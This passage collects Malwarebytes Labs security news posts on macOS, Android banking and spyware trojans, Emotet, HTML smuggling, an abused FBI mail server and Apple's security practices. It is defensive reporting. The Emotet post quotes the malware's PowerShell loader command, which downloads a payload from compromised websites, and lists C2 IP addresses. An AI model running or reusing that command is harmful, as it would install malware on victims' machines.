IT NEWS

Apple’s reputation on security has been taking a beating lately. As mentioned in some of our previous coverage, security researcher Joshua Long recently shone a light on problems with Apple’s security patching strategy. His findings showed a shocking number of cases where Apple patched a vulnerability, but did not do so in all of the vulnerable system versions. Often, systems older than the most current one were left in vulnerable states.

In theory, this could lead to attacks on those vulnerable systems. And new Mac malware that was disclosed on Thursday provides a concrete example of why this is not just theory.

Watering hole campaign discovered by Google

Google’s Threat Analysis Group (TAG) discovered a watering hole campaign in Hong Kong, targeting journalists and pro-democracy political groups. This campaign was using two macOS vulnerabilities to infect Macs that simply visited the wrong web page.

A watering hole attack is one that’s deployed through a website that the desired target is likely to visit, so named because of the way predators will hide near a watering hole that is frequented by their prey.

The vulnerabilities were used to drop malware onto the computer silently, without the user needing to click on anything or even being aware that anything has happened. The malware itself is a pretty full-featured backdoor, but what is most remarkable about it is not its capabilities. This malware has been in the wild, with very few changes, since at least 2019. Back then, it was distributed as a trojan, in an installer disguised as – you’ll never guess – an Adobe Flash Player installer!

Some of the executable files dropped by this installer from 2019 are nearly the same as the ones currently in distribution, but were (as of Thursday) still undetected by any antivirus software.

The vulnerabilities had been fixed… sort of

The first vulnerability used by the malware was CVE-2021-1789, which was a remote code execution (RCE) vulnerability in WebKit. This means that it allowed an attacker to trick WebKit – the foundation of Safari and a number of other browsers – into executing arbitrary code, which is not supposed to be possible.

The second vulnerability, CVE-2021-30869, was a privilege escalation bug. This means that it could be used to run arbitrary code with the highest level of permissions possible when it should not actually have that level of access.

The first of these was patched on February 1, with the release of macOS Big Sur 11.2 and Safari 14.0.3. The latter would have fixed the problem on macOS Catalina (10.15) and macOS Mojave (10.14), if users had upgraded to Safari 14.

The second was apparently also fixed in Big Sur 11.2, on February 1, although it was not originally mentioned in the release notes. Mention of the fix was added on September 23, after Google alerted Apple to the issue and on the same day Apple released Security Update 2021-006 Catalina, to fix the issue in macOS Catalina.

Catalina wasn’t fixed for more than seven months?!

Yes, you heard that right. Apple knew about the vulnerability long before, and fixed it in macOS Big Sur, after the team who found it, Pangu, alerted Apple of the issue. Pangu went on to present their findings in April at the Zer0con security conference.

However, the same bug apparently existed in Catalina, which remained unpatched seven months after Apple released the patch for Big Sur, and more than five months after the details had been released at Zer0con. This allowed attackers to target individuals running Catalina and Safari 13 without detection. (According to TAG, more than 200 machines may have been targeted for infection at the time it discovered the campaign.)

There’s a lot that’s unclear about why this might have happened. Did Apple know that the bug affected Catalina, but chose not to patch it? Was the bug superficially different in Catalina, and thus was missed in a cursory investigation? Or was the bug completely different, but resulted in the same vulnerability? Only Apple could say.

I do find it highly suspicious that mention of this fix was left off of the Big Sur 11.2 release notes, and then added at the end at the same time the bug was fixed in Catalina. That would seem to suggest that it’s something that Apple already knew should have been fixed, or very quickly identified as being the same as the Big Sur bug.

Takeaways

There are a couple things that this incident illustrates quite plainly. First, this throws further weight behind what Joshua Long has taught us; that Apple can only be relied on to patch the absolute latest version of macOS, which is currently macOS Monterey (12). If you are using an older system, you do so at your own risk.

I personally have an older machine still on macOS Mojave, because upgrading to anything newer means I’d lose access to all my old 32-bit Steam games. However, since I’m aware that that system can no longer be considered secure, I limit what I do with it. Any web browsing and other online activities are done with my up-to-date devices, and since I’ve recently migrated to a newer machine, I’ll soon remove my personal data from the Mojave machine.

Second, the fact that this malware went undetected since at least 2019 is, unfortunately, a repeating pattern. There has been a lot of very tightly targeted nation state malware affecting Mac users, and because of the very limited number of victims, it’s hard to detect. Those managing business environments would do well to use some kind of EDR or other monitoring software, but what is an average person to do with their personal Macs?

Some steps you can take to avoid this kind of malware would include:

• Keeping your system and all your software fully up to date
• Be conscious of everything you open on your computer, and be sure you know exactly what it is before you do so
• Never install Adobe Flash Player, whether you think it’s legitimate or not!
• Use an ad blocker (malicious ads can be a source of malware) and some kind of protection against malicious sites, such as the free Malwarebytes Browser Guard
• If you engage in any “risky” activities, consider doing them from a burner device with no access to your data, such as a cheap Chromebook
• If you are a potential target of a hostile nation-state – such as a journalist or human rights activists critical of an oppressive regime, or a member of a group persecuted by a government (such as the Uyghur people in China) – consider consulting with a security professional

Malwarebytes for Mac detects this malware as OSX.CDDS.

The post New Mac malware raises more questions about Apple’s security patching appeared first on Malwarebytes Labs.

Researchers have discovered and analyzed a new Android banking Trojan that allows attackers to steal sensitive banking information such as user credentials, personal information, current balance, and even to perform gestures on the infected device.

According to the researchers, SharkBot demonstrates:

“…how mobile malwares are quickly finding new ways to perform fraud, trying to bypass behavioural detection countermeasures put in place by multiple banks and financial services during the last years.”

Type and source of the infection

A banking Trojan is a type of Trojan specifically created to harvest credentials and other sensitive financial and personal information stored and processed through online banking systems. This particular one, dubbed SharkBot by the researchers, goes beyond that, and uses uses an Automatic Transfer System (ATS) technique to automate the process of stealing funds from users’ accounts.

ATS allows attackers to automatically fill in fields on an infected device with minimal human input. It launches an autofill service to facilitate fraudulent money transfers through legitimate financial service apps. SharkBot uses this technique to bypass behavioral analytics, biometric checks, and multi-factor authentication (MFA).

SharkBot isn’t available in the Google Play Store, so the threat actors would have to convince victims to sideload the app on their device. Sideloading refers to installing an app onto the device by copying the APK installer onto the device and manually installing it on the system, i.e. bypassing the app store. On many devices, in order to sideload apps you would need to obtain root access on the phone, something that often results in users ‘bricking’ their phone or turning it into a $800 paper weight.

Apps like these are often offered for download masquerading as a media player, live TV, or data recovery apps.

Android Accessibility service

In order to use ATS, the Trojan needs access to the Android Accessibility Service. So once SharkBot is installed, the malware asks the users to grant it access to the Android Accessibility service, a feature designed to help physically impaired users interact with their devices by automating certain tasks. SharkBot uses the access to Accessibility Services to perform tasks such as:

• Overlay attacks against multiple applications to steal login credentials and credit card information. Overlay attacks allow the threat actor to show fake benign pop-ups over dangerous ones. This allows them to deceive a victim user into clicking “through” them, performing a specific action (such as accepting a permission)
• Intercept and/or hide SMS messages. This feature is mostly used by threat actors to get the MFA sent by the bank via text messages
• Keylogging, for example to record and send typed passwords to the attacker
• Obtain full remote control of an Android device
• Bypass Android’s doze component and stay connected to the C2 servers

Once the malicious app has been installed, no icon is displayed on the device and SharkBot is able to get all the permissions needed thanks to the enabled Accessibility Services. This is done by clicking instantly on the popup shown to the user.

Targets

Analysis of the samples revealed 22 different targets, including international banks from the UK and Italy and five different cryptocurrency services. So far, infections have been found in the UK, Italy, and the United States. As the app appeared to be in the development stage, the number of targets is likely to grow over time.

Detection

SharkBot uses different anti-analysis and detection techniques, in particular:

• Obfuscation to slow down the static analysis and “hide” all the commands and important information used by the malware
• Anti-emulator. When the malicious application is installed on the device, it checks if the device is an emulator or a real phone
• Modular in that it uses an external ATS module. Once installed, the malware downloads an additional module from the C2. The external module is a “.jar” file that contains all the functionality used to perform the ATS attacks. So this functionality can not be found when analyzing the apk
• Hide the icon of the app from the device screen
• Anti-delete. Like other malware, SharkBot uses the Accessibility Services to prevent the user from uninstalling the malicious application from in Settings
• Encrypted communication. All the communication between the malware and C2 are encrypted and encoded with Base64. In addition to this, SharkBot uses a Domain Generator Algorithm (DGA).

Malwarebytes detects SharkBot as Android/Trojan.BankBot.SHRK.

Stay safe, everyone!

The post SharkBot Android banking Trojan cleans users out appeared first on Malwarebytes Labs.

If you haven’t heard of SoSafe Chat, you will now.

This Android app, purported as a secure messaging application that uses end-to-end encryption, is the latest ruse cybercriminals put upon smartphone users, particularly those based in India, to infect their devices with GravityRAT, a piece of malicious software that is known to spy on people and steal their data.

According to Cyble Research Labs, the latest version of GravityRAT can now track locations of its targets, exfiltrate cellular network data, and record audio. Below is the complete list of GravityRAT’s malicious behavior:

• Read SMS, call logs, and contacts data
• Change or modify system settings
• Read current cellular network information, the phone number and the serial number of the victim’s phone, the status of any ongoing calls, and a list of any phone accounts registered on the device
• Read or write the files on the device’s external storage
• Record audio
• Get connected network information
• Get the device’s location

The history of GravityRAT

This remote access Trojan (RAT) was first discovered in infected Windows computers in 2017 by the Indian Computer Emergency Response Team (CERT-IN), but it has been active since at least 2015. An advanced persistent threat (APT) group with origins in Pakistan was believed to be behind the creation and initial attacks using the RAT.

CERT-IN had described GravityRAT as “unlike most malware, which are designed to inflict short term damage. It lies hidden in the system that it takes over and keeps penetrating deeper. According to latest inputs, GravityRAT has now become self aware and is capable of evading several commonly used malware detection techniques.”

Knowing India and Pakistan’s longstanding historical and political conflict, it’s no surprise to see GravityRAT coming back to target high profile individuals in India once more. The first time threat actors attempted this was when they homed in on the Indian armed forces in 2018.

SoSafe markets itself as an encrypted message platform that worries about the security of its users.

SoSafe chat is not just another chat application, but an application that encrypts your messages whether it is text,images,voice notes,videos.”SoSafe” is available to talk to your loved ones when all the other applications secretly steal your chat data even when they say they do not. We at “SoSafe” ensure that the security of our customers remain our top priority. Be safe with “SoSafe”.

— SoSafe Chat website marketing blurb

BleepingComputer thinks that the above website “likely played a role in the distribution of the app”, and that users are likely get directed to it via malvertising and other known means like social media and instant messages.

It’s also likely that targeted users were messaged privately, since quick searches on top social media sites turned up empty.

How to stay safe

This is a good time to remind readers to never download apps from sites you haven’t heard about. It’s still much, much safer to download apps from the Google Play Store. Just make sure you enable Google Play Protect before you download apps.

Lastly, if you use an antivirus for your Android device, always make sure you are using the latest version.

Stay safe!

The post SoNot SoSafe: Android malware disguises itself as secure messaging app appeared first on Malwarebytes Labs.

You might think looking up an illegal act online, and then visiting a website claiming to be all about doing said act, would be a huge mistake. Nobody would do this, right? Right?

It’s too wild to contemplate. You can barely move online for warnings about tracking or tracing. Even your web browser tells you when your activities aren’t hidden from your ISP or people running the network. As we’re about to see, lots of people simply don’t notice, or understand, such warnings. They just know they need someone to pay the price in a hurry.

As Europol said last week, some of the nastiest aspects in this realm lurk on the dark web – from threats of violence and exploitation, to drugs and criminal market services, they’re all there somewhere.

However…

Those folks I mentioned who don’t realise the massive problems they’re about to stumble into? They will go on the plain old internet and call up all manner of dubious sites and services without barely a second thought. Some will look for drugs. A few might want guns.

Others will take the elevator straight to the top floor of Disastrous Life Choices Incorporated.

Of websites and hitmen

A Michigan resident, Wendy Lynn Wein, has pleaded guilty and faces up to 9 years in prison for trying to have her ex-husband murdered via a hitman website. 

The hitman website was not in fact ready to cater to all her stealth assassination needs. It was a fakeout. Unbeknown to the would-be hitman hirer, she left a message of requirements along with a pseudonym.

This wasn’t enough to save her from the long arm of the law, however. The site owner contacted local law enforcement, and they sprang into action.

Shady meetings in a cafe might seem like a good idea, but probably not when the hitman sitting opposite you is an undercover detective. Wein explained what she wanted doing, and told the detective the potential victim’s work/home address and work schedule. She also offered up to $5,000 for the dirty deed, and then to seal the “Oh no, what have you done” deal handed over $200 as a downpayment.

A land of domain confusion: Part 1

I thought it’d be interesting to trace the legacy of the hitman website. How long had it been around for? Was it always used in this way? Unfortunately, things took a strange turn after digging into the URL mentioned on some news sites.

What I assumed was the hitman site has been around since at least 2004. Back then, it was redirected to a .(ru) domain. After that, it seems to have alternated between a blank page or one of those ad-laden search portals when the owner isn’t making use of the URL or it’s expired. It seems to have remained like that all the way up to the last couple of years. The final entry for the site on Internet Archive still shows an unused domain as recently as 2018.

There is no archiving of its most recent incarnation, most likely because the owner set it to not be indexed in some way (or it didn’t get scraped by the Archive’s crawlers in time).

Or, at least, that’s what I thought. Multiple news portals list the domain as rent-a-hitman(dot)com. That’s the URL I’ve just been describing via Internet Archive.

Guess what? That’s the wrong website!

A land of domain confusion: part 2

One news portal references some of the text from the alleged website and mentions a “point and click solution”, along with the site being compliant with the “Hitman Information Privacy and Protection Act of 1964”. This is a jokey reference to HIPPA, which many but the most observant of visitors would miss.

If you go hunting for this in various search engines, it returns the website rentahitman(dot)com. Notice the lack of hyphens! This is definitely the correct website.

It contains not only the HIPPA joke above, but lots of other fun features including a “merchandise coming soon” banner, the claim of more than “17,985 US based field operatives”, and the wonderful statement that “The dark web is not safe, but RAH is”. They even throw in a “Capisce”, just to stress the silliness of it all.

I did chuckle at the classic “Has your credit card been stolen on the internet” ad on the front page, complete with a fake card number entry box which simply redirects to the Internet Crime Complaint Center.

A slight diversion, then, but a good cautionary tale to make sure the URLs referenced in the news are the right ones. This seems even more important when talking about websites which may or may not provide assassination services.

The genesis of Rent A Hitman

How and why did this website come to be, you may ask. Well, this tale stretches back to at least July 2019. The creator, Bob Innes, set it up as a play on words (website page visit “hits”, as opposed to baffling acts of murder). After a while he had no use for it, and nobody wanting to purchase the URL. He bought the domain in 2005, so weirdly it isn’t that far off from the domain wrongly flagged as the genuine Rent a Hitman site.

Soon finding his email buried (best choice of words?) in hundreds of assassination requests, he took action on one in particular which seemed pretty insistent about having someone killed. A quick conversation with a law enforcement friend and an arrest later, and Rent a Hitman was suddenly in business as the Anti-Hitman Hitman Portal. Or something along those lines.

You’d think being so overt about the joke-laden website would ruin the objective of “save lives by preventing murders” and yet, as he notes, the requests keep rolling in. He’s able to direct dubious requests to law enforcement, and highlight how easily people will turn to bad actions at the same time.

That’s quite the talent, and it’s one we hope Bob will keep on using for a long time to come.

The post When renting a hitman online goes horribly wrong appeared first on Malwarebytes Labs.

Probably one of the best known threats for the past several years, Emotet has always been under intense scrutiny from the infosec community. On several occasions, it appeared to take an early retirement, but then again it was back.

However, when multiple law enforcement agencies seized control of its botnet and took it down in January 2021, confidence was much higher that Emotet and the people behind had finally called it quits. Not only had the infrastructure been dismantled, but previously infected computers had received a special update that would effectively remove the malware at a specific date.

Out of the woods again

On November 15, security researchers who’ve tracked Emotet announced that the threat was back. Emotet’s long-time partner in crime TrickBot was helping it out by using already infected machines to download the new Emotet binary.

To prove this was no hiccup, malspam campaigns distributing Emotet resumed as well with the classic Office document lures containing macros.

These documents with extension .doc(m) and .xls(m) are the initial loader that will call out to one of several compromised websites to retrieve the Emotet payload proper using the following command:

C:WindowsSystem32cmd.exe C:WindowsSystem32cmd.exe c start B powershell $dfkj=$strs=http:visteme.mxshopwp-adminPP,https:newsmag.danielolayinkas.comcontentnVgyRFrTE68Yd9s6,http:av-quiz.tkwp-contentk6K,http:ranvipclub.netpvhkoa,https:g

After execution, Emotet will talk to its command and control (C2) servers and await further instructions.

A return of malspam waves and ransomware?

So far everything indicates that Emotet has restarted their successful enterprise. We should expect malspam campaigns to ramp up in the coming weeks.

In the past month, there have been a number of arrests against ransomware operators along with the creation of taskforces collaborating across borders. The return of Emotet could very well mean an increase in ransomware attacks.

Malwarebytes users are already protected against Emotet thanks to our anti-exploit layer blocking the malicious documents from downloading their payload.

Indicators of Compromise (IOCs)

Emotet C2 servers:

103[.]75[.]201[.]2
103[.]8[.]26[.]102
103[.]8[.]26[.]103
104[.]251[.]214[.]46
138[.]185[.]72[.]26
178[.]79[.]147[.]66
185[.]184[.]25[.]237
188[.]93[.]125[.]116
195[.]154[.]133[.]20
207[.]38[.]84[.]195
210[.]57[.]217[.]132
212[.]237[.]5[.]209
45[.]118[.]135[.]203
45[.]142[.]114[.]231
45[.]76[.]176[.]10
51[.]68[.]175[.]8
58[.]227[.]42[.]236
66[.]42[.]55[.]5
81[.]0[.]236[.]93
94[.]177[.]248[.]64

The post TrickBot helps Emotet come back from the dead appeared first on Malwarebytes Labs.

If you received a scary missive from what appears to be from the FBI over the last few days, you’re not alone. The emails, which may have reached as many as 100,000 people, blamed a fictitious cyberattack on an innocent party. The mail read as follows:

Our intelligence monitoring indicates exfiltration of several of your virtualized clusters in a sophisticated chain attack. We tried to blackhole the transit nodes used by this advanced persistent threat actor, however there is a huge chance he will modify his attack with fastflux technologies, which he proxies trough [SIC] multiple global accelerators.

Now, if you know your way around your network or have some insight into security generally, this may already sound a little off. The typo also doesn’t help. But for anyone else, the email could be very concerning, not least because of the potential for reputation damage for them and their business!

How did this happen?

An FBI server was used to send out these mails. The server itself was a tiny link in the chain known as LEEP. This is a “secure platform for law enforcement agencies, intelligence groups, and criminal justice entities. It includes active shooter initiatives, blogs, forums, and a “Virtual Command Center”. Unfortunately, for a short period of time it also included bogus attack mail notifications.

The website contained a flaw which allowed for the leaking of one time registration passcodes in the website’s HTML. From there, it was a short step to editing requests sent to the browser and changing the text in the intended message subject field.

The FBI has explained the server was geared towards pushing notifications only. It isn’t part of the FBIs corporate email network, and so no PII or other data was compromised.

The damage could have been much worse

It’s certainly embarrassing for a law enforcement service to be abused in this way. It’s also worrying for anyone who’s received the mail and isn’t yet aware it’s a fake.

We’re just lucky the aim of the game here seems to have been trolling (unless you’re the innocent party, of course. There’s definitely nothing lucky about that). Think how much more impact this could have had if the mail had come with a malicious attachment, or was part of a social engineering data harvesting extravaganza.

Once an attacker seizes control of official law enforcement comms tools the possibility for incredibly malicious activity is high. This one is all about the short sharp shock, but there’s plenty of time to think about a slow, drawn-out campaign with subtle missives and a gradual tightening of the web.

Should you ever receive what appears to be a mail warning of attacks at your organisation from law enforcement, consider phoning up and going directly to the (assumed) source. It’ll save you a lot of stress, time, and effort.

The post FBI server hijacked to send up to 100,000 bogus attack mails appeared first on Malwarebytes Labs.

The mechanisms for memorialising the social network accounts of people who’ve died haven’t really suffered a lot of scrutiny up until now. I’ve done a fair amount of research on the processes and perils we face in the digitally deceased age.

Traditionally, the biggest issues in this space tended to be surprise returns from the beyond. When someone is definitely dead but their accounts spring back into action, it can be incredibly disturbing for their loved ones.

This happens by accident, or deliberately. Sometimes a relative with access to the account of the departed starts tweeting, or accidentally posts a message. Other times, the account is compromised and used to spam, or just troll.

A combination of weak security and the possibility of continued access to an account allows for this to happen.

What you may not be expecting, is for the process to happen in reverse.

When reports of your demise are rather premature…

What if you’re able to convince a platform that someone who is alive and well has actually passed on?

This issue has faced multiple individuals over the past month, but the tale has an additional twist: In this specific case, we don’t have a regular social media user finding out a random platform thinks they’ve died. We have the head of Instagram locked out of their own Instagram account, because somebody exploited its memorialisation feature.

Well, I promised you a twist.

What is Instagram’s memorialization feature?

Instagram’s memorialization feature is a way to preserve the digital legacy of a user for friends and family. As per Instagram’s FAQ page:

Memorialized accounts are a place to remember someone’s life after they’ve passed away. Memorialized accounts on Instagram have the following key features:

• No one can log into a memorialized account.
• The word Remembering will be shown next to the person’s name on their profile.
• Posts the deceased person shared, including photos and videos, stay on Instagram and are visible to the audience they were shared with.
• Memorialized accounts don’t appear in certain places on Instagram, like Explore.

Once memorialized, no one will be able to make changes to any of the account’s existing posts or information. This means no changes to the following:

• Photos or videos added by the person to their profile.
• Comments on posts shared by the person to their profile.
• Privacy settings of their profile.
• The current profile photo, followers or people the person follows.

This is one of the more strict, locked down approaches I’ve seen in this realm. Some sites allow people to continue posting, or make updates. This is particularly the case if the deceased is a known public figure, or the spokesperson for a person, charity or other organisation. In those cases, a close relative may be allowed to continue posting. That isn’t the case here, and the account is indeed memorialised in every sense of the word.

Checks and balances

Instagram doesn’t mention what checks it makes to ensure nothing suspicious takes place, but it does say it has fewer people available to review memorialization reports due to COVID. It’s possible this also impacted what happened next.

Fake memorial pages aren’t a new phenomenon. Convincing someone at an organisation that their reasonably public-facing boss is dead, feels a bit fresher.

This is the situation Adam Mosseri found himself in after a scammer convinced Instagram support that Mosseri was dead. All it took was a fake memorial, easily thrown together online or via the DIY route. As Instagram requires a death certificate or an obituary/news article, the latter was all it took to ease the scam through in September of this year.

The reports on this don’t say how long he was locked out for, except that it was resolved “quickly”.

For unverified, regular users, the person behind these tactics doesn’t even need to whip up a fake notice. They simply grab a recent genuine online obituary of somebody with the same name. As long as the obituary is from the same week as the bogus memorialization request, “98%” of the time it goes through within one to two days.

Paying the piper

This tactic does of course involve money, with “most requests” coming from paying customers. We don’t know if this particular incident was a paid request or just a way to make the tactic more visible. Getting people banned from services is another trick which was popular back in the days of Myspace, and it remains so to this day.

Discovering a contact online has died is a profound shock. If someone manages to switch an account to some form of memorial page, the impact is immediate for both people who see it and the person themselves.

Tightening up the process?

It’s possible services may have to become a little more strict about the evidence required for memorializing accounts. Perhaps more pieces of evidence, or genuine links online which corroborate the request. Of course, asking for specific services as proof only will likely exclude many people. What if those services are only available in certain regions? How about the cost…will folks be priced out in this new digital world of verified death?

It remains to be seen, but this story is a good reminder that scammers will target absolutely anything they can to get the job done. It’s up to the services we use to find new ways to be ever more vigilant and keep our digital identities ticking over for the time being.

The post Instagram’s memorialize feature abused to memorialize…Instagram’s boss appeared first on Malwarebytes Labs.

Microsoft Threat Intelligence Center (MSTIC) last week disclosed “a highly evasive malware delivery technique that leverages legitimate HTML5 and JavaScript features” that it calls HTML smuggling.

HTML smuggling has been used in targeted, spear-phishing email campaigns that deliver banking Trojans (such as Mekotio), remote access Trojans (RATs) like AsyncRAT/NJRAT, and Trickbot. These are malware that aid threat actors in gaining control of affected devices and delivering ransomware or other payloads.

MSTIC said the technique was used in a spear-phishing attack by the notorious NOBELIUM, the threat actor behind the noteworthy, nation-state cyberattack on SolarWinds.

How HTML smuggling works

What is HTML smuggling?

HTML smuggling got its name from the way attackers smuggle in or hide an encoded malicious JavaScript blob within an HTML email attachment. Once a user receives the email and opens this attachment, their browser decodes the malformed script, which then assembles the malware payload onto the affected computer or host device.

Usually, malware payloads go through the network when someone opens a malicious attachment or clicks a malicious link. In this case, the malware payload is created within the host. This means that it bypasses email filters, which usually look for malicious attachments.

HTML smuggling is a particular threat to an organization’s network because it bypasses customary security mitigation settings aimed at filtering content. Even if, for example, an organization has disabled the automatic execution of JavaScript within its environment—this could stop the JavaScript blob from running—it can still be affected by HTML smuggling as there are multiple ways to implement it. According to MSTIC, obfuscation and the many ways JavaScript can be coded could evade conventional JavaScript filters.

HTML smuggling isn’t new, but MSTIC notes that many cybercriminals are embracing its use in their own attack campaigns. “Such adoption shows how tactics, techniques, and procedures (TTPs) trickle down from cybercrime gangs to malicious threat actors and vice versa … It also reinforces the current state of the underground economy, where such TTPs get commoditized when deemed effective.”

Some ransomware gangs have already started using this new delivery mechanism, and this could be early signs of a fledgling trend. Even organizations confident with their perimeter security are called to double back and take mitigation steps to detect and block phishing attempts that could involve HTML smuggling. As we can see, disabling JavaScript is no longer enough.

Staying secure against HTML smuggling attacks

A layered approach to security is needed to successfully defend against HTML smuggling. Microsoft suggests killing the attack chain before it even begins. Start off by checking for common characteristics of HTML smuggling campaigns by applying behavior rules that look for:

• an HTML file containing suspicious script
• an HTML file that obfuscates a JS
• an HTML file that decodes a Base64 JS script
• a ZIP file email attachment containing JS
• a password-protected attachment

Organizations should also configure their endpoint security products to block:

• JavaScript or VBScript from automatically running a downloaded executable file
• Running potentially obfuscated scripts
• Executable files from running “unless they meet a prevalence, age, or trusted list criterion”

BleepingComputer recommends other mitigating steps, such as associating JavaScript files with a text editor like Notepad. This prevents the script from actually running but would let the user view its code safely instead.

Finally, organizations must educate their employees about HTML smuggling and train them on how to respond to it properly when encountered. Instruct them to never run a file that ends in either .js or .jse as these are JavaScript files. They should be deleted immediately.

Stay safe!

The post Evasive maneuvers: HTML smuggling explained appeared first on Malwarebytes Labs.

Last week on Malwarebytes Labs

• Multiple video games break after domain name snafu
• How to remove adware on an Android phone
• Smart TV adverts put a wrinkle in your programming
• Are cybercriminals turning away from the US and targeting Europe instead?
• Patch now! Microsoft plugs actively exploited zero-days and other updates
• Playstation 5 hacked—twice!
• Murder-for-hire, money laundering, and more: How organised criminals work online
• Could Apple’s new MacBooks signal a change in direction on security?
• The importance of backing up
• A multi-stage PowerShell based attack targets Kazakhstan

On Malwarebytes’ Lock and Code podcast episode S02E21 of this week we talked to Jess Dodson about “Why we fail at getting the cybersecurity basics right.“

Other cybersecurity news

• Romanian authorities arrested two individuals suspected of cyberattacks deploying the Sodinokibi/REvil ransomware. (Source: Europol Newsroom)
• The TOR project launched a new release: Tor Browser 11.0 (Source: The TOR blog)
• Threat actors are actively exploiting ZOHO ManageEngine ADSelfService Plus vulnerability in a targeted campaign. (Source: Microsoft Security blog)
• SolarWinds Serv-U vulnerability is used for initial access in Clop ransomware attacks. (Source: Fox IT)
• Facebook whistleblower Frances Haugen warned that the metaverse will gather even more personal information. (Source: AP news)
• The US Treasury Department announced a set of actions focused on disrupting criminal ransomware actors and virtual currency exchanges that launder the proceeds of ransomware. (Source: US Department of the Treasury)
• A suspected state-sponsored threat actor has used Hong Kong pro-democracy news sites to deploy a macOS zero-day exploit chain. (Source: The Record)
• Void Balaur hackers-for-hire sell stolen mailboxes and private data. (Source: Bleeping Computer)
• Queensland water supplier Sunwater targeted by hackers in months-long undetected cybersecurity breach. (Source: ABC.net.au news)
• Missouri apologizes to 600,000 teachers who had SSNs and private info exposed. (Source: ZDNet)

Stay safe, everyone!

The post A week in security (Nov 8 – Nov 14) appeared first on Malwarebytes Labs.

Apple recently announced a new line of completely overhauled MacBook Pros. Much has been written about their new design, new chips, new displays, new keyboards etc, but I thought I detected something else that might be new about these MacBooks too: A new approach.

The updated laptops may be the first sign of a shift in product management strategies at Apple. Product management—the process of directing the development and evolution of some product—is hard, and Apple has made some missteps in recent years. From the outside looking in, those missteps have resulted in challenges both within their products, but also relating to the security of their products.

It starts with solving problems

One of the most important principles of product management is to focus on problems to be solved. You have to start with a problem that your customer (or potential customer) has, and work from there to find a solution that makes sense for your product and your customer base. If your product does not solve a problem for anyone—even if that problem is a rather first-world problem like, “It’s a rainy weekend and I’m bored”—then nobody’s going to use it.

It’s a big product management no-no to just try to build something you think is cool and ship it, and let marketing figure out how to make it sell. That can certainly be a recipe for success, if you’re lucky and you’re fairly in touch with the market. But it can also be a big recipe for failure.

Consider the case of Juicero, an Internet of Things (IoT) device that could be controlled wirelessly and allowed you to… make juice. The product was intended to be similar to a Keurig, but for people who wanted juice instead of coffee. However, juice drinkers don’t have the same needs as coffee drinkers. The device and the juice pouches were expensive, and there were cheaper and easier ways to get your juice. Worse, it was discovered that you could use a pair of scissors to cut open the pouch, squeeze it into a glass, and get the same glass of juice that the machine would have produced.

Juicero was a failure, because it didn’t solve a problem for many people, and even among those who might have considered such a device, it didn’t solve the problem better than a cheap pair of scissors.

Working backwards from the problem to the features or products is something that Apple has experience with. Consider the response Steve Jobs gave back in 1997 when he got a question about why Apple was dropping support for OpenDoc.

So, Apple’s good at solving customer problems?

Well, yes and no. They’ve definitely had some success there in the past, but in recent years, it often feels like the things Apple produces are the result of someone in a back room somewhere saying, “Hey, I’ve got this cool idea,” and then building it without customer input. Let’s take a look at some examples.

In 2016 the Touch Bar was created. This has made a lot of people very angry and been widely regarded as a bad move.

The Touch Bar was, apparently, Apple’s compromise for a touch screen. Apple has always been against touch screens on the Mac, for reasons that I believe are quite valid. However, Apple had been getting heat from reviewers for years, who touted the touch screens on latest Windows PCs as a reason to buy them instead of a Mac.

Thus, the Touch Bar was born. Unfortunately, it solved a problem for Apple, but it didn’t solve a problem for most users. Although some learned to like it, hate for the Touch Bar is widespread.

Apple also released MacBook Pros that eliminated all ports other than USB-C, and with the infamous butterfly keyboard that was as fragile as its namesake. This was done for the sake of making laptops that were thinner and lighter. However, it turned out most people cared less about thinner and lighter and more about the things that had been taken away. The Internet has been awash in keyboard and dongle jokes, poking not-so-good-natured fun at Apple and the MacBook Pros, ever since. This created more customer problems than it solved.

And all this relates to security how?

Some of Apple’s recent security changes have addressed security issues, but they don’t seem to have taken their users’ problems and perspectives into consideration.

As an example, Apple decided to start restricting installation of kernel extensions in macOS 10.13 (High Sierra). The intent was to prevent malicious software from installing a kernel extension (kext) surreptitiously. This was done by asking the user to approve installation, via the following message:

In order to actually enable the kernel extension, users would have to click the button to go to Security Preferences, and then would have to figure out what they were supposed to do there, which was not so obvious. There was an Allow button in System Preferences that would need to be clicked, but Apple’s messaging never indicated that’s what you should do. Worse, the Allow button would only stick around for a few minutes before disappearing… so if the user didn’t click it right away, they’d be stuck.

Most of the cases where users saw these warnings were for legitimate software, not for malware. This solved a problem that Apple wanted solved, but from the user’s perspective, it caused more problems than it solved. Third-party software has had to take a lot of responsibility for filling in the gaps in the user experience as best it could. I know from first-hand experience!

I understand why Apple did it this way, but even so, the user experience needed a lot of work—and still needs work, as Apple has carried this experience over to the new system extensions that have replaced kernel extensions.

Next, Apple decided to protect certain locations on disk, to protect users’ security as well as their privacy. This is a noble goal, but it resulted in a cascade of new alerts that hassled users, who became frustrated and got in the habit of just clicking OK to make these alerts go away.

It’s important to note that Apple’s use of an OK button in this alert is problematic, as users have gotten used to simply clicking OK or Cancel to make these things go away. Yet clicking OK, in this case, has a definitive action of allowing an app to access your data! Worse, if you re-think that action afterwards, figuring out how to reverse your decision (assuming you even realize that you made a decision) is quite difficult for the average user. Not good.

Again, this solved a problem that Apple perceived, but not one that most users knew even existed. Amusingly, Apple did this in a way that they’d made fun of Microsoft for doing years before.

Another example relates to something I’ve just seen very recently. Out of the blue, not following any particular system update or software installation that I was aware of, I got a message on my Mac asking me to approve a mysterious, unnamed system extension.

The alert says it’s an Apple system extension, so I guess it must be okay, right? Not really. If I were crafting a message like this to be displayed by a piece of malware or a scam website, I’d make sure it claimed to be associated with Apple.

Visiting System Preferences didn’t clear anything up, unfortunately.

From a little detective work, assisted by Howard Oakley’s SystHist app, I was able to determine that this was most likely the result of an update silently and automatically installed on October 7, which updated a system kernel extension named AppleMobileDevice.kext. This is a legitimate Apple extension, located in the read-only /System/Library/Extensions/ folder.

Now, after all my complaining earlier about how Apple has made third-party developers go through this process, you might think I’d be happy to see that they apparently haven’t exempted themselves. However, you would be wrong.

In this case, Apple has implemented something in as close to the worst possible way that I can think of. This message instills fear and uncertainty. Something has been updated, but it’s apparently not working right! In order to solve this problem, I’m expected to trust what the alert tells me and go click a button.

Isn’t this more or less exactly what security professionals have been telling people not to do for years? If you see a weird link or button somewhere and you weren’t expecting it, don’t click it. Yet this is exactly what Apple is expecting people to do.

This behavior encourages insecure behavior, and will cause more security problems for people than would be caused by macOS simply automatically trusting one of Apple’s own kernel extensions. Once again, this solves an Apple problem at the expense of the customer, who now has a problem they didn’t have before.

So, is it time to move away from the Mac?

